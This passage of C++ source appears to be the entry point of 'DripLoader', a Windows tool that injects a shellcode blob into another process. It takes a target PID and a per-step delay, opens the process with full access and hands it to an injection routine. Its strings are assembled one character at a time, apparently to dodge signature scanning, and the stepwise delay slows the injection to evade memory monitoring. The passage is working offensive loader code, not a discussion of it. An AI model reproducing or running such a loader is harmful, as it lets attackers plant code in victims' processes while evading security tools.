0x65, 0x2e, 0x2e, 0x2e, 0x2e, 0x24, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x1b, 0x5b, 0x30, 0x6d, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x31, 0x6d, 0x2e, 0x6b, 0x6e, 0x52, 0x1b, 0x5b, 0x30, 0x6d, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x00 };
|
|
|
|
if (argc == 1) {
|
|
PlayHeader();
|
|
system("cls");
|
|
printf(header);
|
|
do {
|
|
cout << "\n";
|
|
// Target PID:
|
|
cout << 'T' << 'a' << 'r' << 'g' << 'e' << 't' << ' '
|
|
<< 'P' << 'I' << 'D' << ':' << ' ';
|
|
cin >> tpid;
|
|
cin.clear();
|
|
cin.ignore(256, '\n');
|
|
} while (cin.fail() || tpid == 0);
|
|
|
|
cout << "\n";
|
|
|
|
do {
|
|
// How much time are you willing to waste? (ms per step):
|
|
cout << 'H' << 'o' << 'w' << ' ' << 'm' << 'u' << 'c' << 'h' << ' '
|
|
<< 't' << 'i' << 'm' << 'e' << ' ' << 'a' << 'r' << 'e' << ' '
|
|
<< 'y' << 'o' << 'u' << ' ' << 'w' << 'i' << 'l' << 'l' << 'i'
|
|
<< 'n' << 'g' << ' ' << 't' << 'o' << ' ' << 'w' << 'a' << 's'
|
|
<< 't' << 'e' << '?' << ' ' << '(' << 'm' << 's' << ' ' << 'p'
|
|
<< 'e' << 'r' << ' ' << 's' << 't' << 'e' << 'p' << ')' << ':'
|
|
<< ' ';
|
|
cin >> msStepDelay;
|
|
cin.clear();
|
|
cin.ignore(256, '\n');
|
|
|
|
if (msStepDelay > 0 && msStepDelay < 100) {
|
|
// Minimal delay is 100 ms
|
|
cout << '\n' << '' << '[' << '3' << '1' << 'm' << 'M' << 'i'
|
|
<< 'n' << 'i' << 'm' << 'a' << 'l' << ' ' << 'd' << 'e'
|
|
<< 'l' << 'a' << 'y' << ' ' << 'i' << 's' << ' ' << '1'
|
|
<< '0' << '0' << ' ' << 'm' << 's' << '' << '[' << '0'
|
|
<< 'm' << '\n';
|
|
}
|
|
|
|
} while (cin.fail() || msStepDelay < 100);
|
|
}
|
|
else if (argc == 3) {
|
|
tpid = (int)strtol(argv[1], NULL, 10);
|
|
msStepDelay = (int)strtol(argv[2], NULL, 10);
|
|
}
|
|
else {
|
|
printf(header);
|
|
// Usage information
|
|
cout << '\n' << '\n' << '\n' << 'U' << 's' << 'a' << 'g' << 'e' << ':'
|
|
<< ' ' << '\'' << 'D' << 'r' << 'i' << 'p' << 'L' << 'o' << 'a'
|
|
<< 'd' << 'e' << 'r' << '.' << 'e' << 'x' << 'e' << ' ' << '<'
|
|
<< 't' << 'a' << 'r' << 'g' << 'e' << 't' << '_' << 'p' << 'i'
|
|
<< 'd' << '>' << ' ' << '<' << 'm' << 's' << '_' << 'd' << 'e'
|
|
<< 'l' << 'a' << 'y' << '_' << 'p' << 'e' << 'r' << '_' << 's'
|
|
<< 't' << 'e' << 'p' << '>' << '\'' << ' ' << 'o' << 'r' << ' '
|
|
<< 'n' << 'o' << ' ' << 'a' << 'r' << 'g' << 'u' << 'm' << 'e'
|
|
<< 'n' << 't' << 's' << ' ' << 'f' << 'o' << 'r' << ' ' << 'i'
|
|
<< 'n' << 't' << 'e' << 'r' << 'a' << 'c' << 't' << 'i' << 'v'
|
|
<< 'e' << ' ' << 'm' << 'o' << 'd' << 'e' << '.' << '\n' << '\n';
|
|
return -1;
|
|
}
|
|
|
|
HANDLE hProc = OpenProcess(
|
|
PROCESS_ALL_ACCESS,
|
|
FALSE,
|
|
tpid
|
|
);
|
|
|
|
if (NULL == hProc) {
|
|
const char err_handle[]{ 'U', 'n', 'a', 'b', 'l', 'e', ' ', 't', 'o', ' ', 'a', 'c', 'q', 'u', 'i', 'r', 'e', ' ', 'h', 'a', 'n', 'd', 'l', 'e', ' ', 't', 'o', ' ', '%', 'd', '\n', '\0' };
|
|
printf(err_handle, tpid);
|
|
return -1;
|
|
}
|
|
|
|
SYSTEM_INFO sys_inf;
|
|
GetSystemInfo(&sys_inf);
|
|
|
|
DWORD page_size{ sys_inf.dwPageSize };
|
|
DWORD alloc_gran{ sys_inf.dwAllocationGranularity };
|
|
|
|
// still do it
|
|
if (NULL == page_size)
|
|
page_size = 0x1000;
|
|
|
|
if (NULL == alloc_gran)
|
|
alloc_gran = 0x10000;
|
|
|
|
int ret = run(
|
|
tpid,
|
|
hProc,
|
|
page_size,
|
|
alloc_gran,
|
|
fnamScBlob,
|
|
msStepDelay
|
|
);
|
|
|
|
Sleep(-1);
|
|
return ret;
|
|
}
|